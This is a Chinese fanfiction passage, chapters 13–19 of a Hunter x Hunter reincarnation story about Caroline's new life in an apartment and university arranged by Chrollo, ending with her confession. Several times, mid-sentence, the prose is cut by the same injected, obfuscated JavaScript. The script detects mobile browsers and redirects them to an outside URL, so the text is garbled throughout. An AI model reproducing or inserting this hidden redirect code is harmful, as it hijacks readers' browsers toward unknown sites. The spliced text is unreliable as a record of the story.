卡洛琳脑海中突然出现了耶稣在十字架上受难的画面,她对宗教的了解只有最基本的常识,但此刻却有了一种强烈的令她目眩神迷的既视感。 13. 新的公寓 钥匙是铜色的,小小的一把,握在手心里被体温捂热了,有一种不真实的温度。 卡洛琳站在那扇门前,门是普通的白色木门,门牌上写着302,走廊里有窗户,窗户外面是普通的街道,街道上有普通的树,树上有普通的叶子被风吹得沙沙响。这一切都太普通了,普通到卡洛琳觉得自己是不是身处某种幻觉之中。 现在手里这把小小的铜色钥匙,像是一个来自另一个世界的信物,告诉她:你出来了,你真的出来了。 卡洛琳颤抖着把钥匙插进锁孔,拧了一下,门开了。 公寓比想象中温馨。客厅、卧室、厨房、卫生间,每一样家具都是新的,但都没有什么多余的设计,素净的白墙,浅色的地板,窗外能看到一小片天空,没有被垃圾山的烟雾遮挡的干净的蓝色的天空。客厅的角落里甚至放了一束花,插在透明的玻璃瓶里,白色的,小小的,像她小时候从教堂墙根底下采来送给库洛洛的那种。 卡洛琳站在客厅中央,手里还攥着那把钥匙,整个人像踩在云上。 “喜欢吗?” 库洛洛的声音从身后传来。卡洛琳转过身,看到库洛洛走进来,一只手插在口袋里,另一只手把门带上。他穿了一件黑色的外套,领口很整洁,袖口的扣子扣得整整齐齐。 他都十八岁了。 卡洛琳恍惚地想。时间是什么时候过去的?她记得他六岁时坐在教堂长椅上看书的样子,记得他耳朵红起来的样子,记得他在萨拉萨的葬礼上攥紧拳头的样子……现在库洛洛站在这里,比她高出半个头,长开的五官清俊迷人,他不再是小孩子了。 自己也是,深棕色的头发长到了肩膀下面,缺了的那颗门牙早就长好了,整整齐齐的,但笑起来还是一样会弯着眼睛。 “喜欢。”卡洛琳的声音有点哑,她清了清嗓子,又说了一遍,“喜欢。” 库洛洛看着她,嘴角微微弯了一下,漆黑的双眼像一潭清澈的湖水,他从口袋里拿出一个信封,放在玄关的矮柜上。 “这是学校的录取通知书,艺术专业。学校不算顶尖,但在三线城市里算不错的。我查过了,师资还可以,你去了不会觉得浪费时间。” 卡洛琳走过去拿起信封,拆开,里面是一张印着校名的纸,写着她的名字。 卡洛琳盯着那张纸看了很久,想说点什么,但不管是身体还是大脑全都是轻飘飘的。 库洛洛接着说:“公寓是全款买入的,水电费我预存了一年的,附近有超市和公交站,走路十分钟就是学校。我给你办了一张银行卡,每个月会有生活费打进去,不够的话随时跟我说。” 库洛洛做什么都会考虑得很周到。 卡洛琳看着库洛洛,黑色的外套衬得他肤色很白,头发还是那么黑,眼睛还是那种深不见底的她看了十几年的颜色。 他很平静坦然地说着这些事,把自己的一切都安排好了,就像在说今天天气还不错一样平淡。 但卡洛琳知道,这些事一点都不平淡。 流星街的人没有身份,没有户口,没有身份证,没有学籍,这个世界上没有任何一个政府承认他们存在过。 要让一个没有身份的人在外面世界拥有一间公寓,一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523312|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银行卡,一张学校的录取通知书,需要多少手续?需要打通多少环节?需要……杀多少人? “库洛洛。”卡洛琳再一次念出库洛洛的名字,竟有一种恍如隔世的感觉。 “嗯。” “你……” 卡洛琳想问,真的很想问。 你呢? 你怎么办? 你就不用生活在阳光下了吗? 你没有想过你自己吗? 这些话一股脑地涌上来,堵在喉咙里,像一堆碎玻璃,又尖又烫。但她把它们全部咽下去了。早就已经知道答案的事情何必再问。 “你,”卡洛琳顿了一下,把那句“你怎么办”咽了回去,换成了一个很轻很轻的,“这束花是你买的吗?” 库洛洛看了一眼角落里的花,点点头:“嗯。” 卡洛琳的鼻子突然酸了。她赶紧低下头,假装在看录取通知书,把那张纸举得高高的,挡住了自己的脸。 库洛洛没有拆穿她。他只是站在那里,安静地等她整理好自己。过了一会儿,他开口了,声音比平时轻一点。 “卡洛琳。” “嗯。”她的声音闷闷的,从纸后面传出来。 “我没有抛下你,对吧?” 卡洛琳把纸放下来。 库洛洛站在玄关的灯光下,看着她,表情很平静,但眼睛里有那么一点点确认。像是一种仪式性的确认,不是为了得到答案,是为了让她听到这个问题,告诉卡洛琳,之间的承偌他从来没有忘记过。 “嗯,库洛洛最好了。”卡洛琳真心实意地说。 14. 新的大学 大学开学的第一天,卡洛琳迟到了。 不是故意的。 她只是站在教学楼前面看了很久。那栋楼不高,外墙刷着米白色的涂料,窗户擦得锃亮,反射着九月的阳光。 楼前有一排树,叶子还是绿的,风一吹就哗啦啦地响。三三两两的学生从她身边走过,背着画板,拎着工具箱,有人戴着耳机,有人在打电话,有人在和同伴说笑。 没有人注意到她。 卡洛琳站在那排树下面,觉得这一幕很不真实。 她上辈子也上过大学。那时候她十八岁,拖着行李箱从老家坐了十二个小时的火车到一座更大的城市,住进六人间的宿舍,铺好床单,把牙刷和毛巾摆在水房生锈的架子上。 那时候她也兴奋,也紧张,也对未来充满期待。后来她毕业了,工作了,加班了,猝死了。上辈子的大学记忆像一场褪色的老电影,画面还在,但颜色没了。 那时候她想的是:我要努力,我要拿奖学金,我要保研,我要找一份好工作,我要让爸妈过上好日子。那些目标像一座座山,压在她十八岁的肩膀上,她以为爬过一座就好了,但爬完一座还有一座,永远没有尽头。她爬了整整十年,然后死在了半山腰。 这辈子的大学,是库洛洛给她的。 她不需要考,不需要争取,不需要在千军万马中挤过独木桥。库洛洛安排好了,她来就是了。她也不需要学得好,不需要在意她的绩点,这些对现在的她来说毫无意义。因为她的未来从来不由这些决定。她的未来由库洛洛决定。而库洛洛不会因为她画得不好,学分不够,或者社交上出了什么差错,就抛下她。 卡洛琳走进教室的时候,第一节课已经开始了。老教授站在讲台上讲什么光影关系,黑板上画了几个几何体,粉笔字写得龙飞凤舞。教室里坐了大概三十来个人,有的在听课,有的在玩手机,有的趴在桌上睡觉。 卡洛琳从后门溜进去,在最后一排靠窗的位置坐下来。 她打开新买的画本,翻到第一页,白得刺眼。她握着铅笔,在纸上画了几笔,画得不太好。她盯着那几根歪歪扭扭的线条看了几秒,然后笑了,真有意思,她居然在担心自己画得好不好。 上辈子她连画个圆都画不圆,这辈子也不可能突然变成毕加索。 但那又怎样呢?库洛洛不会因为她画不圆一个圆就对她说“我不管你了”。 卡洛琳把画本合上,干脆撑着下巴看窗外的风景。教室在四楼,从窗户望出去能看到学校后面的小山丘,山丘上长满了乱七八糟的树,绿得参差不齐。天空很蓝,有几朵云慢吞吞地飘过去,像吃饱了的人在散步。 卡洛琳开始冷静地想,从今年到剧情开始,还有八年。 库洛洛今年十八岁,二十六岁的时候,小杰会离开鲸鱼岛,酷拉皮卡会开始复仇,旅团会和主角团正面交锋,那些都是漫画里的情节,是她上辈子在屏幕前看得心跳加速的故事。 但她这辈子不需要参与那些。她可以像个普通的观众一样,坐在阳光下的画室里,喝着温水,看着窗外的云,等库洛洛偶尔来看她,带来一些她不需要问从哪里来的礼物和生活费。 她可以画画,画得好也行,画不好也行。 她可以交朋友,交到也行,交不到也行。 她可以在这个三线小城里慢慢地懒懒地没有任何心理负担地活下去。 因为库洛洛不会对她透露任何。 这种生活如果放在投资领域,大概会被叫做无风险套利。 投入几乎为零,一点点关心,一点点陪伴,一点点小时候的撒娇和黏人。 库洛洛就把一整套体面的安全的让人羡慕的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523313|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活双手捧到了她面前。而她得到的比起她付出的的确微不足道,不过是她在穿越之初就决定好了的精准投放的成本低廉的持续稳定的关爱。 不是假的,她真的喜欢库洛洛,如果全是虚情假意库洛洛那么聪明的人怎么会察觉不出来。 但她的喜欢里掺杂了太多别的东西,算计、自保,对未来先知般的精准押注。怎么说呢?就像一瓶原本清澈的水里滴了几滴墨,虽然大部分还是水,但你不能说它是干净的。 卡洛琳不觉得羞愧。她死过一次了,羞愧这种情绪在上辈子最后一次加班到凌晨的时候就用完了。她只觉得很划算,非常划算,划算到她想给自己鼓个掌。 下课铃响了。卡洛琳收拾好东西,背着画袋走出教学楼。阳光比刚才更烈了一些,照在她深棕色的长发上,泛出一层浅浅的光。 卡洛琳走在九月温暖的阳光里,心情很好,是一种平缓的持续的像溪水一样不会断流的好。 卡洛琳很自然地想,冰箱里的牛奶快喝完了,今天记得买。明天下午没课,可以在家睡个午觉。窗台上的花该换水了。窗帘有点透光,要不要买一块厚一点的布加上去? 阳光穿过树叶的缝隙,在卡洛琳的白色裙子上洒下一片光斑,一个圆一个圆的,像铜色的硬币。 像那把钥匙的颜色。铜色的,小小的,握在手心里会被体温捂热。它是这个世界上第一个真正属于她的东西,是库洛洛给她的。 只要她不参与主线剧情。只要她安安静静地待在自己的轨道上,不去碰那些她不应该知道的事情,不去见那些她不应该见的人,不去问那些她不应该问的问题。只要她继续做那个不知道的卡洛琳,不知道库洛洛在外面做了什么,不知道旅团杀了多少人,不知道这个世界有多少黑暗面。 那她就能轻轻松松地过完这一生。 15. 新的日常 库洛洛来的时候,卡洛琳正在画一幅怎么也画不好的静物。 苹果摆在窗台的白布上,阳光从左边打过来,在苹果的弧面上切出一道亮晶晶的高光。 卡洛琳画了一个上午,擦了画,画了擦,苹果看起来不像苹果,更像一团被捏皱的红色纸团。她盯着那团红色发了会儿呆,听到门铃响的时候差点把调色盘打翻。 库洛洛站在门口,提着一个纸袋。他穿了一件深灰色的薄外套,里面是黑色的高领毛衣,头发比上次见长了一点,搭在额前,面容俊美地如果出现在校园会有源源不断的女生上前要联系方式。但卡洛琳注意到库洛洛右手虎口处有一道新的伤痕,很浅,已经结痂了,像被什么锋利的东西划过。 卡洛琳没有问。 “吃了吗?”库洛洛把纸袋放在餐桌上,里面是几样打包好的菜。他自然地拉开椅子坐下来,姿态放松。 “吃了,”卡洛琳从画架前站起来,把沾了颜料的手在围裙上擦了擦,“但我还能再吃一点。” 库洛洛的嘴角微微弯了一下。 卡洛琳自然地接过饭菜去厨房加热,库洛洛觉得不用那么麻烦,但卡洛琳坚持。 吃饭的时候卡洛琳说了很多话。她说班上有一个人画画特别厉害,调色像魔法一样,说食堂的糖醋排骨太甜了,但红烧肉还不错。说宿舍她没去住,因为想留在公寓里画画,反正也没有人规定大学生必须住校。她说得很快,想到哪说到哪。 库洛洛安静地听着。他吃饭的速度很慢,卡洛琳说一大段他才吃一小口,像是在用吃饭这个动作来填补倾听的间隙。 偶尔他点一下头,偶尔他“嗯”一声,表情没有太大的变化,但库洛洛在认真听,哪怕那些话毫无营养,哪怕那些话只是“食堂的糖醋排骨太甜了”。 “所以你最近挺开心的?”库洛洛他放下筷子,把身体微微往后靠了一点,目光落在卡洛琳脸上,温和地笑着问。 卡洛琳嘴里还含着半块红烧肉,含混地“嗯”了一声,咽下去之后又补了一句:“开心。” “那就好。”库洛洛点了点头,笑意更深了些。 是的,你开心就好,不需要成为什么厉害的人,不需要画出让人惊叹的作品,不需要在这个大学里出人头地。至于那些绩点,那些社交,那些所谓的前途,都不重要。因为你的前途,库洛洛早就安排好了。 卡洛琳低下头,扒了一口饭,把忽然涌上来的某种情绪一起咽了下去。 “你呢?”卡洛琳抬起头,尽量让自己的语气听起来随意一些,“你最近在干什么?” 库洛洛拿起桌上的水杯,喝了一口水。他放下水杯的时候,表情依然是平淡的自然的,像在回答一个没有任何敏感度的问题。 “自由职业,所以需要各个国家来回跑。” 卡洛琳并不意外这个回答,库洛洛当然不可能告诉自己他是强盗头子,会杀很多很多人。 “各个国家来回跑?”卡洛琳把惊讶做得稍微夸张了一点,瞪大眼睛,“那你岂不是去过很多地方?” “还好。”库洛洛点点头,但没有展开。 “好厉害啊,”卡洛琳笑了起来,没有追问什么,眼睛弯成月牙,和六岁时一模一样,“库洛洛果然很聪明。做什么都能做好。” 库洛洛是真的做什么都能做好,杀人也好,偷盗也好,成立旅团也好,给一个没有身份的女孩安排大学也好,全部做得好好的,妥妥帖帖的,不留痕迹的。 卡洛琳有时候觉得库洛洛像水,装在什么容器里就是什么形状,放在什么环境里就能适应什么环境。他可以把自己捏成任何需要的形状,捏得那么彻底,以至于有时候他自己可能都分不清哪个是真的他。 库洛洛听到这句夸奖,耳朵没有红。他早就过了会因为一句夸奖就耳朵红的年纪了。但他垂下眼睛,拿起水杯又喝了一口水,那个低头的角度有一种柔软的弧度。像是什么东西被轻轻拨动了一下,又很快被按了回去。 “流星街……”卡洛琳声音比刚才轻了一些,一提到这个地点其实卡洛琳就有些后悔了,但既然已经提到,那突然止住反倒更尴尬,“未来一定会因为库洛洛变得越来越好的。” 不过,这也是事实,库洛洛会让流星街变好一点点,没有人敢再来这里拐孩子,敢把这里当成垃圾场,敢小看这个地方。 流星街的人还是会贫穷,还是会住在垃圾堆里,但不会再被随意践踏了。 库洛洛的眼睛里有一种奇异的光彩,和小时候那种纯真的星星一样的光不一样,是一种更深更沉像暗夜里的灯那样的光。 卡洛琳被这么注视着竟有一种眩晕的感觉,再看下去自己可能就会变得不像自己了。 于是,卡洛琳低头专注夹菜。 “但愿如此。”库洛洛轻轻地开口。 卡洛琳把碗里最后一口饭扒完,她也不知道自己现在究竟是什么心情。 吃完饭,卡洛琳收拾碗筷的时候,想到了一件事。 “对了,”卡洛琳一边洗碗一边说,声音尽量放得随意,“我们系有一个教授,上个月被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523314|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀了。” 库洛洛坐在客厅的沙发上,正在翻她放在茶几上的一本画册。听到这句话,他翻页的手没有停,也没有抬头。 “嗯?”声音很平,像在听一件完全不相关的新闻。 “就是那个教油画的教授,”卡洛琳把碗放在沥水架上,甩了甩手上的水,“姓什么来着……算了不重要。他之前被爆出来猥亵女生,好几个学生实名举报的,但是学校压下来了,没处理。后来他死了,被人发现死在工作室里。” 卡洛琳转过身,看着库洛洛。库洛洛还在翻那本画册,表情没有任何波澜。窗外的阳光照在他侧脸上,把睫毛的影子投在颧骨上,像一个对世间一切纷扰都不感兴趣的纯粹的只关心艺术和美的人。 “不知道是谁做的,”卡洛琳的语气轻快,且非常肯定,“但是我觉得做得好。” 她说这句话的时候,心里很清楚。她知道是谁做的。 库洛洛关上画册,认真地开口叮嘱:“不管是谁做的,这种事发生了,说明你周围的环境并不完全安全。” 卡洛琳是真的愣住了,诶?不是旅团做的吗?但库洛洛的下一句话又打消了她的怀疑。 “所以你要注意安全,上课尽量走人多的地方,天黑了不要单独出门。如果有人骚扰你,或者让你觉得不舒服——” 库洛洛那双漆黑的平静的看不出任何波澜的眼睛,在这一刻微微沉了一下,像是深水底下有什么东西动了一下,但水面还是平的。 “及时联系我。” “库洛洛……我,我知道了。” 卡洛琳没办法说别的,只能这么说,但与此同时她也想多了一些,库洛洛刚才说“及时联系我”的时候,用的是“我”,不是“旅团”,不是“我们”,是“我”。 这意味着什么?意味着在这件事上,他不打算经过任何人的手,他要自己来。旅团的事情是旅团的事情,库洛洛的事情是库洛洛的事情。而卡洛琳的事情,是库洛洛的事情。 沉默了一会儿。卡洛琳走过去靠在沙发靠背上,偏头看着库洛洛翻画册的侧脸。阳光在房间里慢慢移动,从地板爬上茶几,从茶几爬上沙发,最后停在两个人之间的那本画册上,把白色的纸页照得发亮。 她不想知道库洛洛下一站去哪里,不想知道他虎口上的伤疤是谁留下的,不想知道那个教授的死具体是哪一天,哪个人动的手。她只想在这个阳光很好的午后,靠在库洛洛的肩膀上,什么都不想。 八年。 还有八年。 够了。 16. 库洛洛为何这样 歌剧院的灯暗下来的时候,卡洛琳就后悔了。 她根本看不懂台上在演什么。女高音的声音尖得像指甲刮黑板,男中音挺着大肚子在台上走来走去,她努力瞪大眼睛看了二十分钟,脑子里只剩下一个念头:好困。 库洛洛坐在她旁边,专注地像在看什么珍贵的古籍,周围的观众也都是一副陶醉的样子,有人闭着眼睛,有人身体微微前倾。 只有卡洛琳像个局外人一样坐立不安。 卡洛琳无聊地玩了一会儿裙子的花边,又在黑暗中数了数前排观众的头。第九排有个秃顶,灯光照在上面反光。她数到第十五分钟的时候,眼皮开始打架。 中间有一段她实在撑不住了,眯了一会儿。就一会儿。 醒过来的时候,卡洛琳发现自己的头靠在库洛洛的肩膀上。不知道什么时候靠过去的。她的头发蹭着库洛洛的脖子,库洛洛的肩膀一动不动地让她枕着。呼吸放得很轻,像是怕惊醒她。 卡洛琳不知为何没有立刻起来,而是眯着眼睛假装还在睡,又靠了一会儿。 散场的时候,灯光亮起来刺得人眼睛疼。卡洛琳假装刚醒,揉了揉眼睛,站起来跟着人流往外走。 出了剧院,夜风凉凉的。街灯把两个人的影子拉得很长,卡洛琳低着头走在库洛洛旁边,等车。 库洛洛没有马上叫车。他站在路灯下,像是在想什么事情。过了一会儿,库洛洛开口了,还带着一点歉意。 “抱歉,你不喜欢吧。” “是我自顾自地就沉浸进去了,忽视了你的心情。” 卡洛琳猛地转头看向库洛洛,大脑直接宕机了,甚至能听到某种不存在的嗡嗡嗡的响声。 他在说什么啊。 为什么要和自己道歉呢?明明是自己硬要跟来的,明明是库洛洛弄到了最好的票,穿了一身她从来没见过的正装,在开场前还给她买了一小盒巧克力。 库洛洛为什么要道歉?库洛洛为什么不觉得是她品味低下?一个连歌剧都听不懂的人,靠着他的肩膀睡了大半场,他不但没有生气,反而说“抱歉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523315|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不喜欢吧”。 为什么要这样?这搞得自己好像很重要一样。 “库洛洛。”卡洛琳张了张嘴,好半天才找到了自己轻飘飘的声音。 “嗯。” “你以后不要道歉了。” 库洛洛微微偏头,像是没有完全理解她的意思。 卡洛琳低下头,看着自己的鞋尖,黑色的,小小的方跟,走路很稳。 “你又没有做错什么,你只是喜欢你喜欢的东西。我看不懂是我的问题,不是你的问题。你不需要道歉的。” 库洛洛看着卡洛琳,但卡洛琳没有抬头,所以她看不到他的表情。在安静了几秒之后,库洛洛很轻很轻地说了一句:“但还是谢谢你陪我来。” 卡洛琳的心脏狠狠地跳了一下。 这样下去不行的,她一定会变得不像自己的。 库洛洛为什么要这样呢?为什么要道歉呢?为什么要说谢谢呢?为什么要在她靠在肩膀上的时候一动不动地让她睡呢?为什么要让她觉得自己很重要呢? 17. 库洛洛的休息 库洛洛自己开的门,他当然有钥匙,不过通常情况下,他都会规规矩矩地敲门。 卡洛琳听到门响的时候正在切西红柿,刀停在半空中,回头看了一眼。库洛洛站在玄关,头发被风吹得有点乱。他换鞋的动作比平时慢,像是身体比意识晚了几拍。 “我在做饭,等一下就好——” 话没说完。 库洛洛慢慢走过来,从后面抱住了她。他的手臂环过她的腰,收得很紧,下巴抵在她的肩窝里。他什么都没说。 卡洛琳握着菜刀的手悬在半空中,刀刃上还沾着西红柿的汁水,浅红色的,一滴一滴落在案板上。她缓缓地眨了眨眼,然后慢慢地把刀放下。 库洛洛的呼吸落在卡洛琳的颈侧,比平时重,也比平时烫。卡洛琳感觉的库洛洛身体的重量一点一点地压过来,完全不是那种暧昧的依偎,更像是撑了很久的东西终于找到了一个可以暂时放下的支点。 库洛洛身上有一点点很淡的说不上来的气味,像是某种消毒水,又像是金属。而卡洛琳不想去分辨那是什么。 “我可以歇一下吗?”库洛洛的声音从她的肩窝里传出来,闷闷的,像隔了一层厚厚的布。 卡洛琳的心脏被什么东西狠狠揪了一下,脱口而出:“当然可以。” 卡洛琳牵着他的手,把他带到沙发那里。她坐下来,把一个靠枕垫在自己的大腿上,库洛洛看了她一眼,然后躺下来。他阖上眼,睫毛微微颤了一下。 卡洛琳低下头。她的手指悬在他的额头上方,停了一瞬,然后落下去,拨开他额前的碎发。那些头发比上次见面时长了一点,垂下来遮住了他的眉骨。她把它们拨到一边,指腹擦过他的皮肤,很凉。库洛洛睁开眼。他的眼睛还是那双深不见底的黑色眼睛,但此刻那双眼睛里有很淡很淡的红血丝,像白色的瓷器上细微的裂纹。 “怎么了?”卡洛琳轻声问。万一库洛洛真的和她说什么,她听着也就是了。 库洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523316|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛那双漆黑的瞳孔看着她,又好像没有在看她,目光穿过她,落在某个很远的地方。他的嘴唇动了一下,给人一种此刻说话的人并不是库洛洛一样的感觉。 “维持两种截然不同的感情,越来越困难了。” 卡洛琳的呼吸停了一瞬。她知道这句话,库洛洛在黑鲸号上也说过。 库洛洛好像只是说出来而已,并不需要卡洛琳的答复,因为库洛洛已经闭上了眼睛。呼吸也慢慢变得均匀。他的手不知道什么时候垂到了沙发边缘,手指微微蜷着,没有完全放松,但也确实没有在握紧任何东西。 是的,他睡着了。 房间很安静。炉火关了,西红柿安静地待在案板上,窗外的风把窗帘吹起来又落下去。卡洛琳靠在沙发背上,看着库洛洛的睡脸,手指从他的额头滑到他的头发里,轻轻地慢慢地梳着。他的头发比她想象中软,从指缝间滑过去的时候像黑色的水。 他睡得很沉,沉到好像很久没有睡过觉了。 18. 幸福的日常 早上七点,卡洛琳背着画袋出门。 阳光温暖舒适。教学楼前面的那排树已经开始落叶了,金黄色的,铺了一地。卡洛琳踩上去,咯吱咯吱响,令人感到心灵莫名地变得轻盈。 上课的时候她坐在靠窗的位置。教授在讲艺术史,有不少同学没来,但卡洛琳就坐在下面,有一搭没一搭地听着,她不需要多专注认真,她只是很享受这样无所事事的时光。 学习在脱离了生存压力之后,其实是一件很愉悦的事情。 交上去的作业,教授打了七十分。卡洛琳看了一眼,折了两折,塞进画袋里,她无需在意分数,因为她已经无需为自己的未来担忧了。 中午她去食堂吃饭。坐在靠窗的位置慢慢吃。阳光照在餐盘上,油亮亮的。 吃完饭卡洛琳去喂猫。学校后门有一只橘猫,胖得很,每天都趴在花坛边上等吃的。卡洛琳从包里掏出一根火腿肠,掰碎了放在地上。 橘猫吃得很快,吃完了蹭着她的裤腿。卡洛琳蹲下来,摸了摸它胖乎乎圆嘟嘟的大头。它的毛很软,在阳光下是金黄色的,和地上的落叶一个颜色。 下午没课,她去逛街。没有什么特别的想买东西,就是慢悠悠地闲逛。文具店、杂货铺、路边的水果摊。她买了一袋橘子,提在手里晃晃悠悠的。 路过花店的时候,她停下来看了一会儿,但没有买。 回到家卡洛琳开始做饭,卡洛琳开始跟着食谱慢慢学做菜,做饭的时候她什么都不想。只想火候,只想咸淡,只想菜熟了没有。这让卡洛琳有一种踏实的治愈感。 吃完饭卡洛琳把碗一个个洗干净,倒扣在架子上。抹布拧干,铺在水池边。灶台擦了两遍,亮得能照见人影。 然后卡洛琳在沙发上坐了一会儿。天已经黑了,窗帘没有拉,能看到对面楼的灯,一格一格的,亮着橘黄色的光。 冰箱里还有牛奶。卡洛琳倒了一杯,慢慢喝。牛奶凉凉的,从喉咙滑下去,很舒服。 两年了。 从库洛洛把她接出来到现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523317|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,两年了。她在大学里上课,画画,喂猫,做饭,逛杂货铺,在沙发上发呆…… 没有人告诉她你应该去社交,没有人问她你的绩点是多少,你将来打算干什么。她活着只需要做让自己舒服的事情就好。 卡洛琳时常会想,自己真的可以这么幸福吗? 上辈子的她如果知道以后会过这样的日子,大概不会在凌晨两点的写字楼里哭。 窗外的风吹进来,窗帘动了一下,带来清爽的风驱散了些许食物的油烟味。 卡洛琳把牛奶杯放在茶几上,靠在沙发里,闭上眼睛。 冰箱里有牛奶,明天还能喝。橘猫明天大概还会在花坛边上等她。落叶明天还会再落一层。库洛洛不知道什么时候会来,但她知道他会来。 没有比这更好的日子了。 卡洛琳睁开眼睛,把牛奶杯拿去洗了。然后刷牙,洗脸,关灯,上床。被子很软很舒服。窗外的路灯亮着,光透过窗帘照进来,在天花板上投下一片橘黄色的模糊的光。 19. 告白 卡洛琳决定是时候做一个了断。 这个念头具体什么时候冒出来的,她说不上来。但卡洛琳知道,如果再不做一个决定,她就不能这么心安理得地享受现在的幸福。 她什么都没有做。没有杀人,没有流血,没有在流星街的黑夜里握紧拳头为某个人复仇。 这样真的好吗?真的应该吗?如果自己一无所知那倒无所谓,可自己分明是什么都知道的啊……不对,如果自己不是知道也不会刻意接近库洛洛。 于是卡洛琳约了库洛洛。 消息发出去的时候是下午三点,她盯着对话框看了两分钟,库洛洛回了一个字:好。 时间定在晚上七点,地点在她公寓。卡洛琳放下手机,在床边坐了一会儿,然后起身去洗澡。热水从头顶浇下来,卡洛琳闭着眼睛站了很久,感受着温热的水流,什么也没想。 出来之后卡洛琳换上了那条藏蓝色的丝绒裙子领口开得不大,但腰收得很紧。裙子是两个月前买的,挂在衣柜里一直没穿过,吊牌还垂在背后。她对着镜子把吊牌剪掉,指尖有点抖,但表情是平静的。 然后去了一家专门的门店,让人给她化妆做造型。化妆师是个说话很快的女孩,一边给她上底妆一边说你的皮肤真好眼睛真大睫毛真长。卡洛琳听着,偶尔笑一下,没有接话。化妆师把她的头发盘起来,露出光洁的后颈。 站在公寓门口等的时候,天已经黑了。路灯把卡洛琳的影子拉得很长,她低头看着自己那双不常穿的高跟鞋,脚趾在鞋里蜷了一下。 库洛洛准时到了。他穿得随意,黑色高领毛衣,深灰色的大衣,像是刚从某个地方赶过来,头发被风吹得有些乱。 库洛洛的目光落在她脸上的时间比平时长了一点,但他没说什么,换了鞋走进去。卡洛琳倒了水,两个人坐在沙发上。窗帘是拉上的,茶几上有一束白色的花,是她下午去买的。 他们聊了一些有的没的。学校的事,画画的事,公寓楼下那只橘猫最近不怎么来了,冰箱的制冰功能好像坏了。库洛洛很认真地听,很认真地回应。 气氛很平常,和每一次他来的时候一样平常。但卡洛琳知道自己不能再拖了。 卡洛琳突然站起来,走到他身后。库洛洛没有回头,大概以为她要去倒水或者拿什么东西。卡洛琳弯下腰,从后面抱住了他。 卡洛琳的手臂环过库洛洛的胸口,下巴抵在他的肩膀上,脸颊贴着库洛洛的颈侧。他的皮肤是凉的,带着外面的寒意。 卡洛琳感觉到他的身体僵了一瞬,然后慢慢放松下来。 卡洛琳此时此刻才有了自己真的要做什么的实感,而原本鼓噪的心跳,不安的心情此刻居然都消散无踪,冷静地不可思议。 “库洛洛。”卡洛琳的声音很轻柔,前所未有地轻柔。 “嗯。” “我喜欢你,从小时候就喜欢,你知道的吧。” 库洛洛没有说话,只是呼吸变得急促了。卡洛琳把脸埋在他的肩窝里,嘴唇几乎贴着他的衣领。 “你愿意和我在一起吗?” 